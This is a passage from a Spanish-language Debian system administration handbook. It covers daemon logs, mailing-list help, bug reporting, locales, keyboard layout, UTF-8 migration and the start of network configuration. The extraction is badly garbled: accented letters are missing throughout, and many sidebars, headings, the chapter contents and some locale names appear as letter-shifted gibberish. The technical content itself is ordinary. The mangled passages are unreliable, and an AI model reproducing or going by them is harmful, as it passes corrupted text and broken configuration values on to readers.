dpkg -s paquete muestra los metadatos del paquete y cualquier paquete recomendado o sugerido; all podr encontrar documentacin o una herramienta que facilitar la configuracin del
software.
Por ltimo, los archivos de configuracin usualmente estn autodocumentados con muchos comentarios explicativos que detallan los varios valores posibles para cada parmetro de configuracin. Tanto es as que a veces basta elegir una lnea a activar entre las disponibles. En
algunos casos se proveen archivos de configuracin de ejemplo en el directorio /usr/share/
doc/paquete/examples/. Le pueden servir como base para su propio archivo de configuracin.
/03."5*7" %&#*"/
6CJDBDJO EF MPT FKFNQMPT

5PEPT MPT FKFNQMPT EFCFO JOTUBMBSTF FO FM EJSFDUPSJP /usr/share/


doc/paquete/examples/ TUPT QVFEFO TFS BSDIJWPT EF DPOGJHVSBDJO
DEJHP GVFOUF EF QSPHSBNBT VO FKFNQMP EF VTP EF VOB CJCMJPUFDB
P VO
TDSJQU EF DPOWFSTJO EF EBUPT RVF FM BENJOJTUSBEPS QVFEF VUJMJ[BS FO BMHVOPT

$BQUVMP  3FTPMVDJO EF QSPCMFNBT Z CTRVFEB EF JOGPSNBDJO SFMFWBOUF



DBTPT DPNP QBSB JOJDJBMJ[BS VOB CBTF EF EBUPT


 4J FM FKFNQMP FT FTQFD
GJDP B VOB BSRVJUFDUVSB EFCF JOTUBMBSTF FO /usr/lib/paquete/examples/
Z EFCF IBCFS VO FOMBDF BQVOUBOEP B EJDIP BSDIJWP FO FM EJSFDUPSJP
/usr/share/doc/paquete/examples/

 .POJUPSJ[BDJO EF MP RVF IBDFO MPT EFNPOJPT


Entender qu es lo que hace un demonio es algo ms complicado, ya que no interacta directamente con el administrador. Para revisar si el demonio est trabajando realmente necesita
probarlo. Por ejemplo, para verificar el demonio Apache (servidor web), prubelo con un pedido HTTP.
Para permitir dichas pruebas cada demonio generalmente graba todo lo que hace as como tambin los errores que encuentra en lo que se llaman archivos de registro o registros de sistema. Los registros se almacenan en /var/log/ o alguno de sus subdirectorios. Para saber el
nombre exacto del archivo de registro de cada demonio revise su documentacin. Note que una
sola prueba no siempre es suficiente si no cubre todos los casos de uso posibles; algunos problemas slo ocurren en circunstancias particulares.
)&33".*&/5"
&M EFNPOJP rsyslogd

FT FTQFDJBM SFDPMFDUB SFHJTUSPT NFOTBKFT JOUFSOPT EFM TJTUFNB


RVF
PUSPT QSPHSBNBT MF FOWBO $BEB FOUSBEB EF SFHJTUSP FTU BTPDJBEB DPO VO TVC
TJTUFNB DPSSFP ODMFP BVUFOUJDBDJO FUD
Z VOB QSJPSJEBE rsyslogd QSPDFTB
FTUBT EPT QPSDJPOFT EF JOGPSNBDJO QBSB EFDJEJS RV IBDFS &M NFOTBKF EF SFH
JTUSP QVFEF TFS HVBSEBEP FO WBSJPT BSDIJWPT EF SFHJTUSP ZP TFS FOWJBEP B MB
DPOTPMB EF BENJOJTUSBDJO 1VFEF EFGJOJS MPT EFUBMMFT FO FM BSDIJWP EF DPOGJHV
SBDJO /etc/rsyslog.conf EPDVNFOUBEP FO MB QHJOB EF NBOVBM EFM NJTNP
OPNCSF

rsyslogd

"MHVOBT GVODJPOFT EF $ FTQFDJBMJ[BEBT FO FOWJBS SFHJTUSPT TJNQMJGJDBO FM VTP


EFM EFNPOJP rsyslogd 4JO FNCBSHP BMHVOPT EFNPOJPT HFTUJPOBO TVT QSPQJPT
BSDIJWPT EF SFHJTUSP FTUF FT FM DBTP EF QPS FKFNQMP samba RVF JNQMFNFOUB FO
-JOVY MPT SFDVSTPT DPNQBSUJEPT EF 8JOEPXT


70-7&3 " -04


$*.*&/504
%FNPOJP

6O EFNPOJP FT VO QSPHSBNB RVF OP FT JOWPDBEP FYQMDJUBNFOUF QPS FM VTVBSJP


Z TF NBOUJFOF FO TFHVOEP QMBOP FTQFSBOEP RVF TF DVNQMB DJFSUB DPOEJDJO
QBSB SFBMJ[BS VOB UBSFB .VDIPT QSPHSBNBT EF TFSWJEPS TPO EFNPOJPT VO US
NJOP RVF FYQMJDB RVF MB MFUSB kE{ BQBSF[DB GSFDVFOUFNFOUF BM GJOBM EF TV OPN
CSF sshd smtpd httpd FUD


A modo de operacin preventiva, el administrador debera leer de forma regular los registros
ms relevantes del servidor. Puede as diagnosticar problemas antes que sean reportados por
usuarios molestos. Los usuarios a veces esperarn que un problema ocurra repetidamente en
varios das antes de reportarlo. En muchos caso, existen herramientas especficas para analizar
el contenido de archivos de registros extensos. En particular, existen para servidores web (como
por ejemplo analog, awstats, webalizer para Apache), para servidores FTP, para servidores
proxy/cach, para firewalls, para servidores de correo, para servidores DNS e inclusive para



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

servidores de impresin. Algunas de estas herramientas funcionan de forma modular y permiten analizar varios tipos de archivos de registro. Este es el caso de lire o tambin modlogan.
Otras herramientas, como logcheck (un software que discutimos en el Captulo 14: Seguridad
pgina 386), escanean estos archivos para buscar alertas a tratar.

 1FEJEP EF BZVEB FO VOB MJTUB EF DPSSFP


Si sus bsquedas no le ayudaron a encontrar la raz de un problema es posible conseguir ayuda
de otras personas, tal vez ms experimentadas. Este es el propsito de la lista de correo debianusers@lists.debian.org. Como con cualquier comunidad, tiene reglas que debe seguir. Antes de
hacer cualquier pregunta debe revisar si su problema ya fue tratado en discusiones recientes en
la lista o por cualquier documentacin oficial.
http://wiki.debian.org/DebianMailingLists
http://lists.debian.org/debian-user/
46(&3&/$*"
-FFS VOB MJTUB FO MB XFC

1BSB MJTUBT EF DPSSFP EF BMUP WPMNFO DPNP EFCJBOVTFS!MJTUTEFCJBOPSH


QVFEF TFS UJM OBWFHBSMBT DPNP VO GPSP EF EJTDVTJO P HSVQP EF OPUJDJBT

(NBOFPSH QFSNJUF DPOTVMUBS MBT MJTUBT EF %FCJBO FO FTUF GPSNBUP -B MJTUB
NFODJPOBEB BOUFSJPSNFOUF FTU EJTQPOJCMF FO
http://dir.gmane.org/gmane.linux.debian.user

70-7&3 " -04


$*.*&/504
"QMJDB MB kOFUJRVFUB{

&O HFOFSBM QBSB UPEB DPSSFTQPOEFODJB FO MJTUBT EF DPSSFP TF EFCF TFHVJS MBT SF
HMBT EF kOFUJRVFUB{ &TUF USNJOP TF SFGJFSF B VO DPOKVOUP EF SFHMBT EF TFOUJEP
DPNO EFTEF DPSUFTBT DPNVOFT B FSSPSFT RVF TF EFCFO FWJUBS
http://tools.ietf.org/html/rfc1855

Una vez que se han cumplido estas dos condiciones puede pensar en describir su problema a
la lista de correo. Incluya tanta informacin relevante como le sea posible: pruebas realizadas,
documentacin consultada, cmo intent diagnosticar el problema, los paquetes en cuestin o
que puedan estar involucrados, etc. Revise el Sistema de seguimiento de errores de Debian (BTS,
descripto en el recuadro Sistema de seguimiento de errores pgina 15) por problemas similares y mencione el resultado de dicha bsqueda proveyendo enlaces a los errores encontrados.
El BTS comienza en:
http://www.debian.org/Bugs/index.html
Mientras ms corts y preciso sea, mayor ser la posibilidad de obtener una respuesta o, al
menos, algunos elementos de respuesta. Si recibe informacin relevante por privado, considere
resumir esta informacin pblicamente para que otros se beneficien. Esto permite que los
archivos de la lista, que son buscados por varios motores de bsqueda, muestren la resolucin
a otros que pueden tener la misma pregunta.

$BQUVMP  3FTPMVDJO EF QSPCMFNBT Z CTRVFEB EF JOGPSNBDJO SFMFWBOUF



 3FQPSUF EF VO FSSPS DVBOEP VO QSPCMFNB FT EFNBTJBEP EJGDJM


Si fallan todos sus esfuerzos de resolver un problema es posible que dicha resolucin no sea su
responsabilidad y que el problema se deba a un error en el programa. En este caso, el procedimiento adecuado es reportar el error a Debian o directamente a los autores originales. Para
hacerlo, asle el problema tanto como sea posible y cree una situacin de pruebas mnima en la
que se lo pueda reproducir. Si conoce qu programa es el aparente culpable del problema puede
encontrar el paquete al que corresponde con dpkg -S archivo_en_cuestin. Revise el Sistema de seguimiento de errores (IQCVHTEFCJBOPSHQBRVFUF) para asegurarse que el error
no fue reportado anteriormente. Luego puede enviar su propio reporte de error utilizando la
herramienta reportbug incluyendo tanta informacin como le sea posible, especialmente una
descripcin completa de los casos de prueba mnimos que le permitirn a cualquiera reproducir
el error.
Los elementos de este captulo son un medio de resolver efectivamente los inconvenientes con
los que se puede encontrar en los prximos captulos. Utilcelos siempre que lo necesite!



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

1BMBCSBT DMBWF
$POGJHVSBDJO
-PDBMJ[BDJO
-PDBMFT
3FE
3FTPMVDJO EF
OPNCSFT
6TVBSJPT
(SVQPT
$VFOUBT
*OUSQSFUF EF MOFB EF
SEFOFT
$POTPMB
*NQSFTJO
(FTUPS EF BSSBORVF
$PNQJMBDJO EF
ODMFP

$BQUVMP

$POGJHVSBDJO
CTJDB SFE DVFOUBT
JNQSFTJO

$POUFOJEPT
$POGJHVSBDJO EFM TJTUFNB FO PUSP JEJPNB 

$POGJHVSBDJO EF SFE 

%FGJOJDJO EFM OPNCSF EF FRVJQP Z DPOGJHVSBDJO EFM TFSWJDJP EF OPNCSFT 


#BTFT EF EBUPT EF VTVBSJPT Z HSVQPT 

$SFBDJO EF DVFOUBT 

$POGJHVSBDJO EF JNQSFTPSBT 

&OUPSOP EF DPOTPMB 

$POGJHVSBDJO EFM HFTUPS EF BSSBORVF 

0USBT DPOGJHVSBDJPOFT TJODSPOJ[BDJO EF UJFNQP SFHJTUSPT BDDFTP DPNQBSUJEP

$PNQJMBDJO EF VO ODMFP 


*OTUBMBDJO EF VO ODMFP 

El propsito de un equipo con una instalacin nueva creada con debian-installer


es que sea tan funcional como sea posible, pero an necesita configurar muchos servicios. Lo que es ms, es bueno saber cmo modificar ciertos elementos de configuracin
definidos durante el proceso de instalacin inicial.

Este captulo revisa todo lo incluido en lo que llamaramos configuracin bsica: red, idioma
y locales, usuarios y grupos, impresin, puntos de montaje, etc.

 $POGJHVSBDJO EFM TJTUFNB FO PUSP JEJPNB


Si instal el sistema utilizando el idioma francs, el equipo probablemente ya tenga configurado al francs como idioma predeterminado. Pero es bueno saber lo que realiza el instalador al
configurar el idioma para que, luego si lo necesita, pueda cambiarlo.
)&33".*&/5"
&M QSPHSBNB locale QBSB
NPTUSBS MB DPOGJHVSBDJO
BDUVBM

&M QSPHSBNB locale NPTUSBS VO SFTVNFO EF MB DPOGJHVSBDJO BDUVBM EF WBSJPT


QBSNFUSPT EF MB MPDBMF GPSNBUP EF GFDIB GPSNBUP EF ONFSPT FUD
QSFTFO
UBEPT FO GPSNB EF VO HSVQP EF WBSJBCMFT EF FOUPSOP FTUOEBS EFEJDBEBT B MB
NPEJGJDBDJO EJONJDB EF TUBT DPOGJHVSBDJPOFT

 $POGJHVSBDJO EFM JEJPNB QSFEFUFSNJOBEP


Un locale es un grupo de configuraciones regionales. Incluyen no slo el idioma para el texto,
tambin el formato para mostrar nmeros, fechas, marcas temporales y cantidades de dinero
as como tambin reglas de comparacin alfabtica (para considerar caracteres acentuados correctamente). Aunque puede especificar cada uno de estos parmetros independientemente de
los dems, generalmente utilizaremos un locale que es un conjunto coherente de valores para
estos parmetros que corresponde con una regin en el sentido amplio de la palabra. Generalmente se indican los locales en la forma DEJHPJEJPNB@$%*(01"4 , a veces con un sufijo
que indica un conjunto de caracteres y codificacin a utilizar. Esto permite considerar diferencias idiomticas o tipogrficas entre diferentes regiones con un idioma en comn.
$6-563"
+VFHPT EF DBSBDUFSFT

)JTUSJDBNFOUF DBEB MPDBMF UJFOF BTPDJBEP VO kDPOKVOUP EF DBSBDUFSFT{


HSVQP EF DBSBDUFSFT DPOPDJEPT
Z VOB kDPEJGJDBDJO{ QSFGFSJEB SFQSF
TFOUBDJO JOUFSOB EF MPT DBSBDUFSFT QBSB FM FRVJQP

-BT DPEJGJDBDJPOFT NT QPQVMBSFT QBSB JEJPNBT EFSJWBEPT EFM MBUO FTUBCBO
MJNJUBEBT B  DBSBDUFSFT QPSRVF EFDJEJFSPO VUJMJ[BS TMP VO CZUF QPS DBSDUFS
%FCJEP B RVF  DBSBDUFSFT OP TPO TVGJDJFOUFT QBSB DVCSJS UPEPT MPT JEJPNBT
FVSPQFPT GVFSPO OFDFTBSJBT NMUJQMFT DPEJGJDBDJPOFT Z FT BT DPNP UFOFNPT
EFTEF *40 UBNCJO DPOPDJEB DPNP k-BUJO {
IBTUB *40 UBN
CJO DPOPDJEB DPNP k-BUJO {
FOUSF PUSBT
5SBCBKBS DPO JEJPNBT FYUSBOKFSPT HFOFSBMNFOUF JNQMJDB DBNCJPT GSFDVFOUFT
FOUSF WBSJBT DPEJGJDBDJPOFT Z DPOKVOUPT EF DBSBDUFSFT -P RVF FT NT FTDSJCJS
EPDVNFOUPT FO WBSJPT JEJPNBT DBVT QSPCMFNBT NT HSBOEFT Z DBTJ JOUSBUB
CMFT 4F DSF 6OJDPEF VO TVQFSDBUMPHP EF DBTJ UPEPT MPT TJTUFNBT EF FTDSJUVSB
EF UPEPT MPT JEJPNBT EFM NVOEP
QBSB FWJUBS FTUF QSPCMFNB 6OB EF MBT DPE
JGJDBDJPOFT EF 6OJDPEF 65' NBOUJFOF MPT  TNCPMPT "4$** DEJHPT EF
 CJUT
QFSP NBOFKB MPT EFNT DBSBDUFSFT EF GPSNB EJGFSFOUF -PT DVBMFT TPO
QSFDFEJEPT QPS VOB TFDVFODJB kFTDBQF{ EF VOPT QPDPT CJUT RVF EFGJOF JNQMDJ
UBNFOUF MB MPOHJUVE EFM DBSDUFS &TUP QFSNJUF DPEJGJDBS UPEPT MPT DBSBDUFSFT



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

6OJDPEF FO VOB TFDVFODJB EF VOP P NT CZUFT 4F QPQVMBSJ[ TV VTP EFCJEP B


RVF FT MB DPEJGJDBDJO QSFEFUFSNJOBEB FO EPDVNFOUPT 9.-
(FOFSBMNFOUF FTUB FT MB DPEJGJDBDJO RVF EFCFSB VUJMJ[BS Z FT QPS MP UBOUP MB
QSFEFUFSNJOBEB FO TJTUFNBT %FCJBO

El paquete locales incluye todos los elementos necesarios para que la localizacin de las aplicaciones funcione correctamente. Durante su instalacin, este paquete le pedir que seleccione
un conjunto de idiomas compatibles. Puede cambiar este conjunto en cualquier momento ejecutando como root dpkg-reconfigure locales.
La primer pregunta le pedir que seleccione las locales a incluir. Seleccionar todas las locales
de ingls (es decir todas las que comiencen con FO@64) es una eleccin razonable. No dude en
seleccionar otras locales si la mquina va a ser utilizada por usuarios extranjeros. Se almacenar
la lista de locales activadas para el sistema en el archivo /etc/locale.gen. Es posible editar este
archivo a mano pero debera ejecutar locale-gen luego de cualquier modificacin. Generar los
archivos necesarios para que funcionen las locales agregadas y eliminar archivos obsoletos.
La segunda pregunta, titulada Locale predeterminada para el entorno del sistema, pedir un
locale predeterminado. La opcin recomendada en Estados Unidos es FO@6465'. Los angloparlantes britnicos preferirn FO@(#65' y los canadienses preferirn FO@$"65'
 o el francs GS@$"65'. Se modificar el archivo /etc/default/locale para almacenar
esta eleccin. Desde ese momento, todas las sesiones de usuario estran al tanto del cambio ya
que PAM agregar su contenido en la variable de entorno LANG.
53"4 #".#"-*/"4
/etc/environment Z /etc/
default/locale

&M BSDIJWP /etc/environment QSPWFF B MPT QSPHSBNBT


ssh MBT WBSJBCMFT EF FOUPSOP DPSSFDUBT B DSFBS

login gdm

P JODMVTJWF

&TUBT BQMJDBDJPOFT OP DSFBO FTUBT WBSJBCMFT EJSFDUBNFOUF TJOP RVF MP IBDFO B


USBWT EF VO NEVMP 1". pam_env.so
 1". TJHMBT EF kNEVMP EF BVUFO
UJDBDJO DPOFDUBCMF{ k1MVHHBCMF "VUIFOUJDBUJPO .PEVMF{
FT VOB CJCMJPUFDB
NPEVMBS RVF DFOUSBMJ[B MPT NFDBOJTNPT EF BVUFOUJDBDJO JOJDJBMJ[BDJO EF MB
TFTJO Z HFTUJO EF DPOUSBTFBT 3FWJTF MB 4FDDJO  k$POGJHVSBDJO EF
1".{ QHJOB  QBSB FODPOUSBS VO FKFNQMP EF DPOGJHVSBDJO EF 1".
&M BSDIJWP /etc/default/locale GVODJPOB EF NBOFSB TJNJMBS QFSP TMP DPO
UJFOF MB WBSJBCMF EF FOUPSOP LANG (SBDJBT B FTUB EJWJTJO BMHVOPT VTVBSJPT
1". QVFEFO IFSFEBS VO FOUPSOP DPNQMFUP TJO MPDBMJ[BDJO %F IFDIP HFO
FSBMNFOUF OP TF SFDPNJFOEB FKFDVUBS QSPHSBNBT EF TFSWJEPS DPO MPDBMJ[BDJO
BDUJWBEB QPS FM PUSP MBEP TF SFDPNJFOEB VUJMJ[BS MBT DPOGJHVSBDJPOFT SFHJPOBMFT
Z EF MPDBMJ[BDJO FO QSPHSBNBT RVF BCSFO TFTJPOFT EF VTVBSJP

 $POGJHVSBDJO EFM UFDMBEP


An cuando se gestiona la distribucin del teclado de formas diferentes en una consola y en el
modo grfico, debian ofrece una interfaz de configuracin nica que funciona para ambos: est
basada en debconf y la implementa el paquete keyboard-configuration. Por lo tanto, puede ejecutar dpkg-reconfigure keyboard-configuration para reiniciar la distribucin de teclado.

$BQUVMP  $POGJHVSBDJO CTJDB SFE DVFOUBT JNQSFTJO



Las preguntas son relevantes para la distribucin fsica del teclado (un teclado de PC estndar en
los Estados Unidos sera Genrico 104 Teclas), luego la distribucin a utilizar (generalmente
US), y luego la posicin de la tecla AltGr (Alt derecho). Finalmente pregunta por la tecla a utilizar para Compose que permite ingresar caracteres especiales combinando teclas. Presionar
sucesivamente Compose ' e crear una e acentuada (). Se describen todas estas combinaciones en el archivo /usr/share/X11/locale/en_US.UTF-8/Compose (u otro archivo segn el
locale actual indicado por /usr/share/X11/locale/compose.dir).
La configuracin de teclado para el modo grfico aqu descripta slo afecta la distribucin predeterminada; los entornos GNOME y KDE, entre otros, proveen un panel de control de teclado
entre sus preferencias que le permite a cada usuario tener su propia configuracin. stos paneles
de control tambin proveen algunas opciones adicionales sobre el comportamiento de algunas
teclas particulares.

 .JHSBDJO B 65'


La generalizacin de la codificacin UTF-8 es una solucin muy esperada a varias dificultades
de interoperabilidad ya que facilita intercambios internacionales y elimina los lmites arbitrarios de los caracteres que pueden ser utilizados en un documento. La nica desventaja es que ha
tenido que pasar por una etapa de transicin difcil. Como no puede ser completamente transparente (es decir, no puede suceder al mismo tiempo en todo el mundo), se necesitaron dos operaciones de conversin: una en el contenido de los archivos y otra en los nombres de archivos.
Afortunadamente, ya se complet la mayor parte de esta migracin y la discutimos mayormente
por cuestiones de referencia.
$6-563"
.PKJCBLF Z MPT FSSPSFT EF
JOUFSQSFUBDJO

$VBOEP TF FOWB P BMNBDFOB


VO UFYUP TJO JOGPSNBDJO EF DPEJGJDBDJO FM SF
DFQUPS OP TJFNQSF QVFEF FTUBS TFHVSP EF TBCFS RV DPOWFODJO VUJMJ[BS QBSB
EFUFSNJOBS FM TJHOJGJDBEP EF VO DPOKVOUP EF CZUFT 6TVBMNFOUF QVFEF UFOFS
VOB JEFB PCUFOJFOEP FTUBETUJDBT FO MB EJTUSJCVDJO EF MPT WBMPSFT QSFTFOUFT FO
FM UFYUP QFSP FTUP OP TJFNQSF EB VOB SFTQVFTUB EFGJOJUJWB $VBOEP FM TJTUFNB
EF DPEJGJDBDJO FMFHJEP QBSB MB MFDUVSB FT EJGFSFOUF BM VUJMJ[BEP QBSB FTDSJCJS
FM BSDIJWP TF JOUFSQSFUBO JODPSSFDUBNFOUF MPT CZUFT Z TF PCUJFOFO FO FM NFKPS
DBTP FSSPSFT FO BMHVOPT DBSBDUFSFT P FO FM QFPS DBTP BMHP DPNQMFUBNFOUF
JMFHJCMF
1PS MP UBOUP TJ VO UFYUP FO GSBODT BQBSFDF OPSNBM DPO MB FYDFQDJO EF MFUSBT
BDFOUVBEBT Z BMHVOPT TNCPMPT RVF BQBSFDFSO SFFNQMB[BEPT DPO TFDVFODJBT
EF DBSBDUFSFT DPNP ki{ P kh{ P kg{ QSPCBCMFNFOUF TFB VO BSDIJWP DPEJ
GJDBEP DPO 65' JOUFSQSFUBEP DPNP *40 P *40 &TUF FT TJHOP
EF VOB JOTUBMBDJO MPDBM RVF OP NJHS B 65' BO 4J FO DBNCJP PCTFSWB TH
OPT EF JOUFSSPHBDJO FO MVHBS EF MFUSBT BDFOUVBEBT BO TJ EJDIPT TNCPMPT
QBSFDFO SFFNQMB[BS FM DBSDUFS RVF TFHVJSB B MB MFUSB BDFOUVBEB FT QSPCB
CMF RVF TV JOTUBMBDJO ZB FTU DPOGJHVSBEB QBSB 65' Z RVF MF FOWJBSPO VO
EPDVNFOUP DPEJGJDBEP DPO 8FTUFSO *40
&TPT TPO UPEPT MPT DBTPT kTJNQMFT{ &TUPT DBTPT TMP BQBSFDFO FO MB DVMUVSB
PDDJEFOUBM ZB RVF TF EJTF 6OJDPEF Z 65'
QBSB NBYJNJ[BS MPT QVOUPT
DPNVOFT DPO DPEJGJDBDJPOFT IJTUSJDBT EF JEJPNBT PDDJEFOUBMFT CBTBEPT FO FM



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

BMGBCFUP MBUJOP RVF QFSNJUF SFDPOPDFS QBSUFT EFM UFYUP BO DVBOEP GBMUBO BM
HVOPT DBSBDUFSFT
&O DPOGJHVSBDJPOFT NT DPNQMFKBT RVF QPS FKFNQMP JOWPMVDSBO EPT FOUPSOPT
RVF DPSSFTQPOEFO B EPT JEJPNBT EJGFSFOUFT RVF OP VUJMJ[BO FM NJTNP BMGBCFUP
HFOFSBMNFOUF PCUFOES SFTVMUBEPT DPNQMFUBNFOUF JMFHJCMFT VOB TFSJF EF
TNCPMPT BCTUSBDUPT RVF OP UJFOFO OBEB RVF WFS VOPT DPO PUSPT &TUP FT FT
QFDJBMNFOUF GSFDVFOUF DPO JEJPNBT BTJUJDPT EFCJEP B TVT OVNFSPTPT JEJPNBT
Z TJTUFNBT EF FTDSJUVSB 4F BEPQU MB QBMBCSB KBQPOFTB NPKJCBLF QBSB EFTDSJCJS
FTUF GFONFOP $VBOEP PDVSSF FM EJBHOTUJDP FT NT DPNQMFKP Z MB TPMVDJO
NT TJNQMF HFOFSBMNFOUF FT NJHSBS B 65' FO BNCPT MBEPT

En cuanto a los nombres de archivos, la migracin puede ser relativamente simple. Se cre la
herramienta convmv (en el paquete del mismo nombre) especficamente con este propsito; permite cambiar el nombre de los archivos de una codificacin a otra. El uso de esta herramienta
es relativamente simple pero recomendamos realizarlo en dos pasos para evitar sorpresas. El
prximo ejemplo muestra un entorno UTF-8 que contiene nombres de directorio codificados en
ISO-8859-15 y utiliza convmv para cambiarlos.
$ ls trabajo/
?conos Elementos gr?ficos Textos
$ convmv -r -f iso-8859-15 -t utf-8 trabajo/
Starting a dry run without changes...
mv "trabajo/Elementos grficos"
"trabajo/Elementos grficos"
mv "trabajo/conos"
"trabajo/conos"
No changes to your files done. Use --notest to finally rename the files.
$ convmv -r --notest -f iso-8859-15 -t utf-8 trabajo/
mv "trabajo/Elementos grficos"
"trabajo/Elementos grficos"
mv "trabajo/conos"
"trabajo/conos"
Ready!
$ ls trabajo/
Elementos grficos conos Textos

Para el contenido de los archivos, los procedimientos de conversin son ms complejos debido
a la cantidad de formatos de archivo existentes. Algunos formatos de archivos incluyen informacin de codificacin que facilita las tareas al software con el que se los trata; es suficiente
entonces abrir estos archivos y volver a guardarlos especificando la condificacin UTF-8. En
otros casos, debe especificar la codificacin original al abrir el archivo (ISO-8859-1 o Western,
o ISO-8859-15 o Western (Euro) segn el caso).
Para archivos de texto simples puede utilizar recode (en el paquete del mismo nombre) que
permite recodificacin automtica. Esta herramienta tiene numerosas opciones que le permiten
alterar su comportamiento. Le recomendamos consultar la documentacin, la pgina de manual
recode(1) o la pgina info recode (ms completa).

$BQUVMP  $POGJHVSBDJO CTJDB SFE DVFOUBT JNQSFTJO



 $POGJHVSBDJO EF SFE


70-7&3 " -04
$*.*&/504
$PODFQUPT EF SFE FTFODJBMFT
&UIFSOFU EJSFDDJO *1
TVCSFE EJGVTJO


-B NBZPSB EF MBT SFEFT NPEFSOBT MPDBMFT VUJMJ[BO FM QSPUPDPMP &UIFSOFU FO FM


RVF TF EJWJEFO MPT EBUPT FO QFRVFPT CMPRVFT MMBNBEPT USBNBT kGSBNFT{
Z
TF USBOTNJUF FO FM DBCMF VOB USBNB B MB WF[ -B WFMPDJEBE EF EBUPT WBSB EFTEF
 .CT FO UBSKFUBT &UIFSOFU BOUJHVBT IBTUB  (CT FO MBT UBSKFUBT NT SF
DJFOUFT MB UBTB NT DPNO FTU DSFDJFOEP BDUVBMNFOUF EF  .CT B  (CT

-PT DBCMFT NT VUJMJ[BEPT TPO MMBNBEPT #"4&5 #"4&5 #"4&5 P
(#"4&5 TFHO FM SFOEJNJFOUP RVF QVFEFO QSPWFFS EF GPSNB DPOGJBCMF MB
MFUSB 5 FT QPS kQBS USFO[BEP{ kUXJTUFE QBJS{ FO JOHMT
 TUPT DBCMFT GJOBMJ[BO
FO VO DPOFDUPS 3+ )BZ PUSPT UJQPT EF DBCMFT HFOFSBMNFOUF VUJMJ[BEPT QBSB
WFMPDJEBEFT NBZPSFT B  (CT
6OB EJSFDDJO *1 FT VO ONFSP VUJMJ[BEP QBSB JEFOUJGJDBS VOB JOUFSGB[ EF
SFE EF VO FRVJQP FO VOB SFE MPDBM P *OUFSOFU &O MB WFSTJO EF *1 NT
VUJMJ[BEB BDUVBMNFOUF *1W
TF DPEJGJDB FTUF ONFSP FO  CJUT Z HFOFSBM
NFOUF TF MP SFQSFTFOUB QPS  ONFSPT TFQBSBEPT QPS QVOUPT QPS FKFNQ
MP 192.168.0.1
DBEB ONFSP FOUSF  Z  JODMVTJWF DPSSFTQPOEJFOEP B
 CJUT EF EBUPT
 -B TJHVJFOUF WFSTJO EFM QSPUPDPMP *1W FYUJFOEF FTUF FT
QBDJP EF EJSFDDJPOFT B  CJUT Z MBT EJSFDDJPOFT TF SFQSFTFOUBO HFOFSBM
NFOUF QPS VOB TFSJF EF ONFSPT IFYBEFDJNBMFT TFQBSBEPT QPS EPT QVO
UPT QPS FKFNQMP ECCC P TV WFSTJO DPSUB
ECCC

6OB NTDBSB EF TVCSFE NTDBSB EF SFE
EFGJOF FO TV DEJHP CJOBSJP RV QPS
DJO EF VOB EJSFDDJO *1 DPSSFTQPOEF B MB SFE FM SFTUP FTQFDJGJDB FM FRVJQP &O
FM FKFNQMP EF DPOGJHVSBDJO EF VOB EJSFDDJO *1W FTUUJDB EBEP MB NTDBSB EF
SFE 255.255.255.0  k{T TFHVJEPT EF  k{T FO TV SFQSFTFOUBDJO CJOBSJB

JOEJDB RVF MPT QSJNFSPT  CJUT EF MB EJSFDDJO *1 DPSSFTQPOEFO B MB EJSFDDJO


EF SFE Z MPT PUSPT  TPO FTQFDGJDPT B MB NRVJOB &O *1W QBSB GBDJMJUBS MB MFD
UVSB TMP TF FYQSFTB MB DBOUJEBE EF k{T MB NTDBSB EF SFE QBSB VOB SFE *1W
QPESB TFS FOUPODFT 64
-B EJSFDDJO EF SFE FT VOB EJSFDDJO *1 FO MB RVF MB QBSUF RVF EFTDSJCF FM
ONFSP EF FRVJQP FT  (FOFSBMNFOUF TF JOEJDB FM SBOHP EF EJSFDDJPOFT *1W
FO VOB SFE DPNQMFUB DPO MB TJOUBYJT BCDEF FO FM RVF BCDE FT MB EJSFDDJO
EF SFE Z F FT MB DBOUJEBE EF CJUT BGFDUBEPT QPS MB QBSUF EF SFE FO VOB EJSFDDJO
*1 -B SFE EF FKFNQMP FOUPODFT QPESB FTDSJCJSTF 192.168.0.0/24 -B TJOUBYJT
FT TJNJMBS FO *1W 2001:db8:13bb:2::/64
6O FOSVUBEPS kSPVUFS{
FT VOB NRVJOB RVF DPOFDUB WBSJBT SFEFT FOUSF T 4F
HVB UPEP FM USGJDP B USBWT EF VO FOSVUBEPS B MB SFE DPSSFDUB 1BSB IBDFSMP FM
FOSVUBEPS BOBMJ[B MPT QBRVFUFT FOUSBOUFT Z MPT SFEJSFDDJPOB TFHO TV EJSFDDJO
*1 EF EFTUJOP (FOFSBMNFOUF TF DPOPDF BM FOSVUBEPS DPNP QVFSUB EF FOMBDF
kHBUFXBZ{
 FO FTUB DPOGJHVSBDJO USBCBKB DPNP VOB NRVJOB RVF BZVEB B
BMDBO[BS FM FYUFSJPS EF MB SFE MPDBM IBDJB VOB SFE FYUFOEJEB DPNP *OUFSOFU

-B EJSFDDJO FTQFDJBM EF EJGVTJO DPOFDUB UPEBT MBT FTUBDJPOFT FO VOB SFE $BTJ
OVODB FT kFOSVUBEB{ TMP GVODJPOB FO MB SFE FO DVFTUJO &TQFDGJDBNFOUF
TJHOJGJDB RVF VO QBRVFUF EF EBUPT EJSFDDJPOBEP B EJGVTJO OVODB QBTBS B
USBWT EFM FOSVUBEPS
&TUF DBQUVMP TF FOGPDBS FO EJSFDDJPOFT *1W ZB RVF TPO MBT VUJMJ[BEBT NT
DPNVONFOUF FO MB BDUVBMJEBE 4F FTUVEJBSO MPT EFUBMMFT EFM QSPUPDPMP *1W FO
MB 4FDDJO  k*1W{ QHJOB  QFSP MPT DPODFQUPT TF NBOUJFOFO



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

Debido a que se configura automticamente la red durante la instalacin inicial, el archivo /etc/
network/interfaces ya contiene una configuracin vlida. Una lnea que comienza con BVUP
provee una lista de las interfaces a configurar automticamente durante el arranque utilizando
ifupdown y su script de inicio /etc/init.d/networking. stas generalmente incluyen FUI que
se refiere a la primera tarjeta Ethernet.
"-5&3/"5*7"
/FUXPSL.BOBHFS

4F SFDPNJFOEB QBSUJDVMBSNOFUF /FUXPSL .BOBHFS FO DPOGJHVSBDJPOFT FS


SBOUFT SFWJTF MB 4FDDJO  k$POGJHVSBDJO EF SFE BVUPNUJDB QBSB VTVBSJPT
